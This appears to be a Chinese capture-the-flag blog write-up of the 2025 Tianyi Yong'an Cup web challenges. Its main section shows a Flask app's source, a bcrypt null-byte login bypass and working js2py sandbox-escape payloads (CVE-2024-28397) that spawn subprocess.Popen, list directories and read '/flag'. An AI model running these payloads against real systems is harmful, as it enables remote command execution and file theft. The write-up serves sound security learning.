天一永安杯 初赛 2025 Web Writeup

L1nq Lv3

anonymity

web1, web 手何苦为难 web 手
查看源代码,提示 svn 泄露

只泄露了这一个文件

1
/.svn/wc.db

而且泄露的不是数据库文件,这几段只告知了创表相关的字段,所以 svn 泄露了什么
最后结束师傅们讨论了 SQL 注入,svn 泄露的几段也指向 SQL 注入,但貌似没有师傅注入成功(如有麻烦告知一下 Payload,真没测出怎么注的)

EzPython_3(一血)

源码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
import pyjsparser.parser
from flask import Flask, render_template, request, redirect, url_for, session
import base64, random, secrets, string, bcrypt, js2py

app = Flask(__name__)
pyjsparser.parser.ENABLE_PYIMPORT=False

users = {}
users_hash = {}
salt = bcrypt.gensalt()
app.secret_key = secrets.token_bytes(16)

admin = b'admin'
admin_password = ''.join(random.choice(string.ascii_letters + string.digits) for _ in range(32))
print(admin_password)

h = bcrypt.hashpw(admin, salt)
users[admin] = admin_password.encode()
users_hash[h] = bcrypt.hashpw(admin_password.encode(), salt)
print(users, users_hash)


@app.route('/')
def home():
return redirect(url_for('login'))


@app.route('/login', methods=['GET', 'POST'])
def login():
if request.method == 'POST':
username: bytes = base64.b64decode(request.form['username'])
password: bytes = base64.b64decode(request.form['password'])
if bcrypt.hashpw(username, salt) in users_hash and users_hash[bcrypt.hashpw(username, salt)] == bcrypt.hashpw(
password, salt):

if (bcrypt.hashpw(username, salt) == bcrypt.hashpw(b"admin", salt) and users_hash[
bcrypt.hashpw(username, salt)] == users_hash[bcrypt.hashpw(username, salt)] == users_hash[
bcrypt.hashpw(b"admin", salt)]):
session['is_admin'] = True
return redirect(url_for('admin'))
return f"Welcome, {username.decode()}!"
else:
return "Invalid username or password!"
return render_template('login.html')


@app.route('/register', methods=['GET', 'POST'])
def register():
if request.method == 'POST':
username: bytes = base64.b64decode(request.form['username'])
password: bytes = base64.b64decode(request.form['password'])
if username in users:
return "Username already exists!"
if len(username) > 15:
return "username is too long"

users[username] = password
users_hash[bcrypt.hashpw(username, salt)] = bcrypt.hashpw(password, salt)
print(users, users_hash)

return f"User {username.decode()} registered successfully!"
return render_template('register.html')


@app.route('/admin', methods=['GET', 'POST'])
def admin():
if session.get('is_admin'):
if request.method == 'POST':
js = request.form['jscode']
if len(js) >155:
return "too long"
try:
result=js2py.eval_js(js)
return f"ok,{result}"
except Exception as e:
return f"An error occurred: {str(e)}"
else:
return render_template('admin.html')
else:
return redirect(url_for('login'))


if __name__ == '__main__':
app.run()

逻辑一眼就能看出来,总共也就四个路由 /、/register、/login、/admin,要访问的目标是 admin 路由,要绕过鉴权 session.get('is_admin')
login 路由,bcrypt.hashpw(username, salt) == bcrypt.hashpw(b"admin", salt) 将同一个 salt 对两个明文做 bcrypt,等价于 username == b"admin"

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
@app.route('/login', methods=['GET', 'POST'])
def login():
if request.method == 'POST':
username: bytes = base64.b64decode(request.form['username'])
password: bytes = base64.b64decode(request.form['password'])
if bcrypt.hashpw(username, salt) in users_hash and users_hash[bcrypt.hashpw(username, salt)] == bcrypt.hashpw(
password, salt):

if (bcrypt.hashpw(username, salt) == bcrypt.hashpw(b"admin", salt) and users_hash[
bcrypt.hashpw(username, salt)] == users_hash[bcrypt.hashpw(username, salt)] == users_hash[
bcrypt.hashpw(b"admin", salt)]):
session['is_admin'] = True
return redirect(url_for('admin'))
return f"Welcome, {username.decode()}!"
else:
return "Invalid username or password!"
return render_template('login.html')

bcrypt 的已知特性,72 字节截断,超过 72 字节的输入会被忽略,但这不帮助弄到和 b"admin" 相等的哈希;NUL 截断,空字节注入是有可能,我对其进行测试

1
2
3
4
admin\x00
admin\x00A
admin\x00admin
admin\x00\x00

fuzz 出来了

密码随意

1
username=YWRtaW4AYWRtaW4=&password=UGFzc3cwcmQh

拿到 session

进到 /admin 路由

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
@app.route('/admin', methods=['GET', 'POST'])
def admin():
if session.get('is_admin'):
if request.method == 'POST':
js = request.form['jscode']
if len(js) >155:
return "too long"
try:
result=js2py.eval_js(js)
return f"ok,{result}"
except Exception as e:
return f"An error occurred: {str(e)}"
else:
return render_template('admin.html')
else:
return redirect(url_for('login'))

关键代码,这里是要做一个变量覆盖、模板注入、还是直接就命令执行?结果会直接嵌在 {result} 中返回响应包

1
2
3
4
5
if len(js) >155:
return "too long"
try:
result=js2py.eval_js(js)
return f"ok,{result}"

js2py 只能在非 python3.12 版本下运行,我选择 3.10 进行测试。这个库更多用于爬虫,检索一下相关文章,关于这个库的信息比较少,发现去年爆出一则 CVE 漏洞,主角就是 js2py.eval_js(),竟然能直接 rce:Marven11的漏洞文章

CVE 漏洞详细给了一条链子

1
let cmd = "id";let a = Object.getOwnPropertyNames({}).__class__.__base__.__getattribute__;let obj = a(a(a,"__class__"), "__base__");function findpopen(o) {let result;for(let i in o.__subclasses__()) {let item = o.__subclasses__()[i];if(item.__module__ == "subprocess" && item.__name__ == "Popen") {return item}if(item.__name__ != "type" && (result = findpopen(item))) {return result}}};let result = findpopen(obj)(cmd, -1, null, -1, -1, -1, null, null, true).communicate();console.log(result);result

RCE! 代码形式于要求完全一致,正中靶心

但问题来了,仅有资料的 payload 长度太大,无法满足低于 155 的要求,需要找到一条更短的链子绕过

分析

这 poc 拿来也看不懂如何实现的,先顺一顺逻辑
js2py/evaljs.py::eval() 将传入的 payload 再套一层 PyJsEvalResult = eval(%s)

随后跟进 execute(),在 195 行调用 js2py/translators/translator.py::translate_js()

js2py/translators/translating_nodes.py::trans() 从全局变量获取对应节点,随后 node(**ele)调用每个相关节点,这些节点大都也是处理 JS 为 Python 代码关键节点 Program会遍历代码的内容并添加变量与函数,最终转换成Python代码

如调试时 Payload 最终解析为

1
2
3
4
var.registers([])
def PyJs_LONG_0_(var=var):
return var.get('eval')(Js('传入的代码'))
var.put('PyJsEvalResult', PyJs_LONG_0_())

var.get('eval') 取到 JS 的内建 eval 的 Py 包装,然后会将传入的字符串交给 JS 引擎再解析一次
最简单的利用就是直接通过 pyimport 进行导入模块,它是 js2py 库中一个特殊的关键字,它允许在 JS 代码中直接导入并使用 Python 模块

1
pyimport os;var current_dir = os.getcwd();current_dir;

题目最上面定义了 pyjsparser.parser.ENABLE_PYIMPORT = False ,这阻止了显式pyimport语句,不能在用它导入模块
此时在回到最开始的 poc,看看 Marven11 师傅这条利用链是如何实现绕过的

关于 js2py/constructors/jsobject.pyObject.getOwnPropertyNames 我的理解是这样的,getOwnPropertyNames 返回一个 Python 对象,Js() 前面并不识别它,于是走到 py_wrap() 生成了 PyObjectWrapper

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
def getOwnPropertyNames(obj):
if not obj.is_object():
raise MakeError(
'TypeError',
'Object.getOwnPropertyDescriptor called on non-object')
return obj.own.keys()

def py_wrap(py):
if isinstance(py, (FunctionType, BuiltinFunctionType, MethodType,
BuiltinMethodType, dict, int, str, bool, float, list,
tuple, long, basestring)) or py is None:
return HJs(py)
return PyObjectWrapper(py)

def Js(val, Clamped=False):
'''Converts Py type to PyJs type'''
if isinstance(val, PyJs):
return val
elif val is None:
return undefined
elif isinstance(val, basestring):
return PyJsString(val, StringPrototype)
elif isinstance(val, bool):
return true if val else false
elif isinstance(val, float) or isinstance(val, int) or isinstance(
val, long) or (NUMPY_AVAILABLE and isinstance(
val,
(numpy.int8, numpy.uint8, numpy.int16, numpy.uint16,
numpy.int32, numpy.uint32, numpy.float32, numpy.float64))):
# This is supposed to speed things up. may not be the case
if val in NUM_BANK:
return NUM_BANK[val]
return PyJsNumber(float(val), NumberPrototype)
...
else: # try to convert to js object
return py_wrap(val)

在调用 Object.getOwnPropertyNames() 时里面传 []、{}(传入非对象参数会报错), 能拿到 PyObjectWrapper(dict_keys(xxx)) ,于是 JS 层就能访问到 python 属性诸如 __class____base____subclasses__等,达成了沙盒逃逸

1
2
3
4
5
6
7
8
9
10
11
import js2py
import pyjsparser
pyjsparser.parser.ENABLE_PYIMPORT = False

code = """
a = Object.getOwnPropertyNames({})
b = Object.getOwnPropertyNames([]).__class__.__base__
console.log(a, b)
"""

js2py.eval_js(code)

所以 poc 的 payload 很好理解了,通过 Object.getOwnPropertyNames({}).__class__.__base__ 拿到 python object类,再写一个递归找 subprocess.Popen 函数,communicate() 拿回显,这被放弃了,太长

Python 沙箱逃逸最常见的就是 帧、闭包、函数全局字典拿 builtins,或者打 pickle 链,但也会非常长,也不一定拿到相关的模块

发现在 Python 里有这样一种类型 import loader(如 zipimporter_frozen_importlib_external 家族等),这些 loader 的实例常带有 load_module 之类的入口,而在 object基类.__subclasses__() 里总带着 load_module 属性的 loader 类

于是保持 Object.getOwnPropertyNames({}).__class__.__base__; 不变,向上找 load_module,遇到第一个带 load_module 的就 break,用它直接加载内置模块完成读文件/列目录。

最终 payload

读当前工作目录

1
o=Object.getOwnPropertyNames({}).__class__.__base__;s=o.__subclasses__();for(i in s){b=s[i];if(b.load_module)break}b.load_module("os").getcwd() #len(143)

读目录

1
2
o=Object.getOwnPropertyNames({}).__class__.__base__;s=o.__subclasses__();for(i in s){b=s[i];if(b.load_module)break}b.load_module("posix").listdir("/")  #len(150)
o=Object.getOwnPropertyNames({}).__class__.__base__;s=o.__subclasses__();for(i in s){b=s[i];if(b.load_module)break}b.load_module("os").listdir("/") #len(147)

读文件

1
2
3
for(i in(s=(o=Object.getOwnPropertyNames({}).__class__.__base__).__subclasses__()))if(b=s[i],b.load_module)break;b.load_module("_io").open("/flag").read()  #len(154)
for(i in(s=(o=Object.getOwnPropertyNames({}).__class__.__base__).__subclasses__()))if(b=s[i],b.load_module)break;b.load_module("io").open("/flag").read() #len(153)
# DASCTF{23409102560085073674496300485198}

参考:
https://xz.aliyun.com/news/14369
https://github.com/Marven11/CVE-2024-28397-js2py-Sandbox-Escape/

  • Title: 天一永安杯 初赛 2025 Web Writeup
  • Author: L1nq
  • Created at : 2025-08-18 22:54:32
  • Updated at : 2025-09-14 17:27:05
  • Link: https://redefine.ohevan.com/2025/08/18/宁波赛-2025-Web-Writeup/
  • License: This work is licensed under CC BY-NC-SA 4.0.
Comments
On this page
天一永安杯 初赛 2025 Web Writeup